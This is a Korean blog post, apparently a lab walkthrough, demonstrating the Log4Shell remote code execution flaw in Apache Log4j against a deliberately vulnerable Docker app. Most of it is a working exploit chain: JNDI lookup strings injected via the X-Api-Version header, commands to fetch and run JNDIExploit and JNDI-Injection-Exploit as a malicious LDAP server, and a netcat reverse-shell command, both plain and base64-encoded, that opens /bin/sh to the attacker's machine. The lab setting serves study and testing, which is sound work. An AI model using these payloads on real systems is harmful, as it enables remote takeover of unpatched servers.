반응형

자바 로깅 라이브러리인 Log4j 관련 Remote Code Execution 취약점이 발견되었습니다.

네이버 뉴스에도 나오네요.( https://news.naver.com/main/read.naver?mode=LSD&mid=shm&sid1=104&oid=214&aid=0001165418 )

컴퓨터 역사상 최악의 취약점이라고도 소개하네요.( https://www.dailysecu.com/news/articleView.html?idxno=132474 )

 

취약한 Apache Log4j 버전: 2.0 – 2.14.1 (+ jdk version < 6u211, 7u201, 8u191, 11.0.1)

 

해당 CVE의 공격방법은 다음과 같습니다.(깃헙 및 블로그글을 참고하였습니다)

※JNDIExploit 깃헙(https://github.com/feihong-cs/JNDIExploit)이 폭파되었지만 JNDI-Injection-Exploit(https://github.com/welk1n/JNDI-Injection-Exploit)을 이용하면 동일하게 테스트 가능합니다. 방법은 하단에 "JNDI-Injection-Exploit 툴을 이용한 방법" 을 참고하시면 됩니다.

◼︎Log4Shell CVE에 취약한 테스트 서버 구동

Victim 역할의 서버는 192.168.1.5:8080 에서 구동하였습니다.

docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

 

 

◼︎버프 패킷 캡쳐 및 취약 여부 판단

kali VM의 ip는 192.168.1.77 입니다.

칼리에서 파이어폭스를 이용해 victim의 서버(192.168.1.5:8080)에 접속하고, 해당 패킷을 버프로 캡쳐합니다.

 

victim의 웹 애플리케이션은 Request Header의 X-Api-Version 값을 Log4j로 로깅하면서 취약점이 발생합니다.

※ CVE 발표 후 실제로는 User-Agent 헤더에 공격구문을 실어서 스캔하는 경우가 증가하고 있다고 합니다.

 

X-Api-Version헤더를 만들고 log4shell에 취약한지 판단하는 문구를 실어서 전송합니다.

X-Api-Version: ${jndi:ldap://cr7toyhc0l8cakjy722nspox4oaey3.burpcollaborator.net/a}

취약하다면 Burp Collaborator에 DNS query가 찍혀야 합니다.

찍혔다는 것은 서버에서 외부 URL을 참조한다는 뜻이고, 악의적인 LDAP서버를 참조하게 할 수 있겠습니다. 

 

 

◼︎악의적인 LDAP 서버 구동(with JNDIExploit)

악의적인 LDAP 서버는 kali VM 192.168.1.77 에서 구동하였습니다.

wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.1.77 -p 8888

 

악의적인 LDAP서버를 이용해 victim 서버에서 명령어를 실행할 수 있습니다.

JNDIExploit(https://github.com/feihong-cs/JNDIExploit) 깃헙 사이트에 의하면 명령어 형식은 다음과 같습니다.

ldap://127.0.0.1:1389/Basic/Command/Base64/[base64_encoded_cmd]

 

 

◼︎Reverse Shell(with JNDIExploit)

칼리에서 nc 명령어를 이용하여 reverse shell 리스닝 모드에 들어갑니다.

 

서버사이드에서 실행될 명령어(공격자인 칼리 ip로 연결하는 nc명령어)를 base64로 인코딩합니다.

 

X-Api-Version헤더에 악의적인 ldap명령어를 전송합니다.

X-Api-Version: ${jndi:ldap://192.168.1.77:1389/Basic/Command/Base64/bmMgMTkyLjE2OC4xLjc3IDQ0NDQgLWUgL2Jpbi9zaA==}

 

reverse shell이 연결되고, 서버측에서 명령어 실행이 가능합니다.

 

 

==============JNDI-Injection-Exploit 툴을 이용한 방법==============

◼︎악의적인 LDAP 서버 구동(with JNDI-Injection-Exploit)

악의적인 LDAP 서버는 kali VM 192.168.1.77 에서 구동하였습니다.

wget https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

 

JNDI-Injection-Exploit(https://github.com/welk1n/JNDI-Injection-Exploit) 깃헙 사이트에 의하면 악의적인 LDAP서버 구동 형식은 다음과 같습니다.

-C 옵션 뒤에 Victim서버에서 실행될 명령어가 위치하고, -A 옵션 뒤에 공격자의 IP주소가 위치합니다.

$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

 

 

Victim서버에서 공격자 칼리 IP인 192.168.1.77로 연결하는 reverse shell 명령어를 옵션으로 주고 악의적 LDAP 서버를 구동합니다.

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "nc 192.168.1.77 4444 -e /bin/sh" -A 192.168.1.77

 

 

LDAP 서버 구동시 출력되는 화면을 보시면 Victim서버가 어떤 악의적인 LDAP 서버를 참조해야 할 지 알 수 있습니다.

테스트 Victim 서버는 JDK 1.8에서 구동중인 관계로 "ldap://192.168.1.77:1389/cxaepq"을 바라보게 하면 exploit이 가능하겠습니다.

 

 

◼︎Reverse Shell(with JNDI-Injection-Exploit)

칼리에서 nc 명령어를 이용하여 reverse shell 리스닝 모드에 들어갑니다.

 

 

X-Api-Version헤더에 악의적인 ldap명령어를 전송합니다.

X-Api-Version: ${jndi:ldap://192.168.1.77:1389/cxaepq}

 

 

reverse shell이 연결되고, 서버측에서 명령어 실행이 가능합니다.

 

 

 

※ 출처

https://www.lunasec.io/docs/blog/log4j-zero-day/

https://bin3xish477.medium.com/log4shell-zero-day-exploit-walkthrough-f42352612ca6

https://github.com/r00tkiiT/log4shell-vulnerable-app

https://github.com/feihong-cs/JNDIExploit

https://github.com/welk1n/JNDI-Injection-Exploit

 

반응형

+ Recent posts